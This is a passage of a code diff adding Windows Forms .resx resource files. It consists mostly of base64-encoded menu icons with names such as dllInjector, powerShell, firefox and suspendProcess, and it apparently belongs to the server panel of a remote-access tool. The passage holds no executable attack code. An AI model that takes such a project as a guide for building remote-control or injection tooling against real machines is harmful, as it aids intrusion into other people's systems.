+EaHcJVLUowQiSZDe6Ru1eUGkhwz5D1FyDXR8E8EqAAAAAElFTkSuQmCCCw==</value></data><data name="powerShellToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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
+YIIL</value></data><data name="firefoxToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>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</value></data></root>

Server.Forms.FormNetstat.resx

@@ -0,0 +1,231 @@
+<?xml version="1.0" encoding="utf-8"?>
+<root>
+  <xsd:schema id="root" xmlns="" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:msdata="urn:schemas-microsoft-com:xml-msdata">
+    <xsd:element name="root" msdata:IsDataSet="true">
+      <xsd:complexType>
+        <xsd:choice maxOccurs="unbounded">
+          <xsd:element name="data">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+                <xsd:element name="comment" type="xsd:string" minOccurs="0" msdata:Ordinal="2" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" msdata:Ordinal="1" />
+              <xsd:attribute name="type" type="xsd:string" msdata:Ordinal="3" />
+              <xsd:attribute name="mimetype" type="xsd:string" msdata:Ordinal="4" />
+            </xsd:complexType>
+          </xsd:element>
+          <xsd:element name="resheader">
+            <xsd:complexType>
+              <xsd:sequence>
+                <xsd:element name="value" type="xsd:string" minOccurs="0" msdata:Ordinal="1" />
+              </xsd:sequence>
+              <xsd:attribute name="name" type="xsd:string" use="required" />
+            </xsd:complexType>
+          </xsd:element>
+        </xsd:choice>
+      </xsd:complexType>
+    </xsd:element>
+  </xsd:schema>
+<resheader name="resmimetype"><value>text/microsoft-resx</value></resheader><resheader name="version"><value>1.3</value></resheader><resheader name="reader"><value>System.Resources.ResXResourceReader, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><resheader name="writer"><value>System.Resources.ResXResourceWriter, System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089</value></resheader><data name="dllInjectorToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAogIAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsQAAALEAGt
+I711AAACRElEQVRoQ+2Y3StDYRzH9w9YeZn8LW6QC3kp5CUXUthKyq5k7GZLCpvykhJX3tqFIhZJ
+aLtQwo0IuRC58nKNmenhezwP58yzjRvn92jf+nZ2nrNz+nzP+Z3f1s+SVlpyDe89e0f2nwf4rlri
+8Azu3Yns8mU1pIdXLoQMXliJEMN7EZcMXph8iNa1B2936EkKL0wuhM0R8uY4QgOAt689MjhViHfT
+6E6AtznCDM73nWvwPwsR8fBLmCc9/O9CEIUXTh6COLywIcTqowftFeaXME/x8FkNQWYtm2PWigDL
+btr4HuIdnp9qvuLhM+tXWEbJzKet5QFDABjdiZ9urlLBawFK5w3wcI49TK/mZfAwykn/PaXgM+uX
+6cPjDsvhV+jDw+g2ysLDaJVKwVf6Dw2A6PNoldbSOfovrC94xaCx9WsDqMzk4F2TWywafdECQMlC
+kIPvmtpktU4365uYThmCZNkAGvAiROz1lUdgrGro650gXTYvsRjrn5xlC+vb2j7kC17ShZeVjf7O
+k4ZPVTak4dNl85f6N2WDVigkL5srWvCQzR52CSi4d/GC4xIvGyFMA4r9J+FEISDS8GImkygEXfiD
+p8KvgdKHiwZPN/Uh9H+ZScELycbd8U+CLDyUaNytD0EWvnnpzi+fT8IRz0d7DZk/7pOpus2T2zi2
+cWOcT4pyIjBgTaa6jh5bjbPnCL+yjeNb9y1Lt0P8kGV0P1rAP9JVbYf7GPDY4knwZXWkwTvdZ3Xt
+nXl8SS0pDQ8pWTZpmSaL5Q3j1T5LWmymXAAAAABJRU5ErkJgggs=</value></data><data name="resumeProcessToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAkwUAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsQAAALEAGt
+I711AAAFNUlEQVRoQ+2ZWU8bVxSArbapBCGkrAYbzI7ZTDA0VftDolStFKmL8hda5YUXAklIGuIF
+Y0ggLaSldgw1e1gSqc95Yfe+YbN4PCaJ0gqjqqfnOpeqSWM8Mzamlfik++iZ71yfe+7xseiEE05I
+nAsGeFc5x37SNBu+cu4Ra1LMsKuN06Fww2Rov36CIStcPx5cqR0LmmrNwSs15u2PRa3wDv348fHh
+DFvcNBe+ppzd9aM8nHsUhsYZFhqnWVBMsYABQMNECOrHGagbY6DWjOuXINSMBkE+sr1RZdruqDSF
+iujjUkfTry/ymufDeuV8OKKc2wX+8jtQbcL1cAcqjduRCsOWrvpBIJc+/mhpWXj2mXIhzCrndyFR
++SrjNlQacP28BeU/bYXKh7c+pa9JPi1P4RTK9zUvoHiS5SuGowFA2Y+bUDYU6GnRPz1FX5scWsYC
+6c2Pd6eOXP7BJpQOBUA2GJgs1AfS6esTg+x8KuVLBnH9gEEMbMzVGVbepxrCSUnavCl/3w/FA34o
+6vfpqIYwmh8/+/z45Deg6N4GSPq8F6kOP87PPc/BMskcp7z0rg8Ke70sngf+JfZVnecpP7oD8ocB
+qDbiSoK8pI8EgKvHo6Va3FA8CRUJuaTkwx64POuGS9MuqBx0QpVhM3F5vRfEOm+kUO+UUb34RNsD
+AWlT+f06RP74EwgjVhaUgxaoGPImJF/QQwLwQL7W00H14oBNFvY2G0JyvmJgLSp/APP7PlyecUFp
+vwPF/YLlxd0YgMbtF2HTSC1jQ7tKQQe2ov/1AA6YsOPzBlahZMAtTF7rgTyNG7JVzo+oZmxQHlti
+/vLkwJbfW6XK/4b5bR++nnSCrNeGl5SPt3yu2g05Kue3VDM2KD4iRJ5Um7K7sQM4YNwaBkXfCkj1
+Tl7yuSoX5HS5jFQzNoqZ0IoQeVJtylCMC0H8Nr4ac4BEsw6SXg83+TsuyO5yLVHN2DROhVgh8qRU
+lvZyC+CAMQsLtbplKOx2cpGHrNtOhmrGRjEVigiRJ6WyRM8vAMLmiwjItcso7o4nD1m3nHtUMzYN
+k0xEiDyp87KeZarFHRJAtWYJxFr34fLfOeGDmw4OAYwzrBB5cknJMB34YF5nQa5ZBLHaEV/+lgPO
+djripxCZHgiRJ5dUcfcSVTuc4Mt9+GLEBvldq7jzLm7yNx2QecMe/xDXmYMjQuTJDcslALLrNZgy
++Spb/Jz/hzzuPpy5YY9fRsncRog8uWGLtbEDILv+5ShK31lDcRdvedx9yLhu+4ZqxoYMnYTIk/ag
+SL1IdV/HTMolBidW27mUyrfKn7luh7R2y3mqeQjYzMlNOz6+8qS3kb4RQDTXR+1QoFqDAh2WyQTk
+M65ZvZyneWRixlee9DYS1eLf7bRxNQRyPBMFGgyA2yV1iLwNTnfY2qlefMi4j0zM+MiTxkyqs8El
+3PGLRhsUqNfxl5Q7KfIZ7da9tDarlOpxg4z7+MhHG7M+L0q7Xi1uvU18+Q4bpF+1qakWd+oMvuzy
+4S2GszyfrpKffCij1SJsbkpmlccpf7rdBmltlgtURxhkVnlc8ultVg3VSAD8HSob9I+mfOevWiZE
+rU/eoxaJQQatxff9kylMm3FRa5KGuweQkTeZVaYkbZK182+DzCpxMcmWT2+3BhM+sFyRqP05ZNwn
+7vHuJSyPlxSp85mtK9n08akjW+eTonhHnsbj4y9v9ZH2gPcNeyRgk0WGTmRuQ0YfKL+UddvBonwE
+5SNnO+1sZqd9kfTzpCWOdpX/hb9ZTzjhf49I9BeHiwb1sr0UaQAAAABJRU5ErkJgggs=</value></data><data name="suspendProcessToolStripMenuItem.Image" mimetype="application/x-microsoft.net.object.binary.base64"><value>AAEAAAD/////AQAAAAAAAAAMAgAAAFFTeXN0ZW0uRHJhd2luZywgVmVyc2lvbj00LjAuMC4wLCBD
+dWx0dXJlPW5ldXRyYWwsIFB1YmxpY0tleVRva2VuPWIwM2Y1ZjdmMTFkNTBhM2EFAQAAABVTeXN0
+ZW0uRHJhd2luZy5CaXRtYXABAAAABERhdGEHAgIAAAAJAwAAAA8DAAAAgQUAAAKJUE5HDQoaCgAA
+AA1JSERSAAAAMAAAADAIBgAAAFcC+YcAAAAEZ0FNQQAAsY8L/GEFAAAACXBIWXMAAAsQAAALEAGt
+I711AAAFI0lEQVRoQ+2ZWU9bVxCArbapBCGkwexgsxP2YGiq9odErdof0iovvBD2fQkGQqBAUmpq
+UtaQAInUl26QADEJtjHgDRvb16QkD7gv0zO3x0a6xPU92NipxCcdIV2J62+OZsbDIDnnnHOC54YK
+PlQscF+UP3bfvPaIU5fOcxtlD13uklnX38UzTjzu4mmHpnDKoS6cdNwsmLR/LqmCD+ivR45P5zlZ
++YK7TvH4wELk4dojN5TNc1D2kIPSOQ5IAFAy44LiaScUTTmhcJKcnx1Q8MABVyfs5jy1vTZX7Uqn
+rwsf5b8cJlQsunsVi26PYuEA2OX3IV9Nzk/7kDtu9+SobD3596zx9PVnS+XS668VS25OsXgAwcrn
+jdshV0XOjzbI/sHmyh6zfUU/JvRULsMFIt9fsUTEQyyfM8YHAFn39yBr1Kqs7F2+QD82NFROWaMr
+nhzMnbn8vT3IHLWCfMQ6m9JrjaYfHxx48+GUzxghZ5gEMWheKFJpPqYapycsaSOUH7KAbNAC6XdN
+PVTjdFQ8ef1N5OTNkD5ghtR+45dUh43rC39JSZt0RlI+7Y4JUvqMHKkH9hb7b5+PrHxqPwZAjnK3
+m2qJo/SpK53lS6pgwgb5o3rIG96E3O9fQc6wDvJVez75nPtmyBzYhIy+DZD3asjPV5A5bBIn32uE
+pB6jJ6XXIKd6geHHA4abR/kV+1vw8qftLWQPaX03j/LL5JmXP6xvQKZ8KUo+WYkB7EJi924t1QsA
+GbLIbGNmSZs8cutCsu5s+NImg9y6EFn3umj5pNskgK4di4QMjdTSP3SqZMr53KGXVOuYrH6NL+fl
+yhf06THpnWvi5bt3IaFrB+I6DJ9RTf8QeTISsxVszuDJADL7NL6ClfecDCCNBMAiH9+5A9IOw3dU
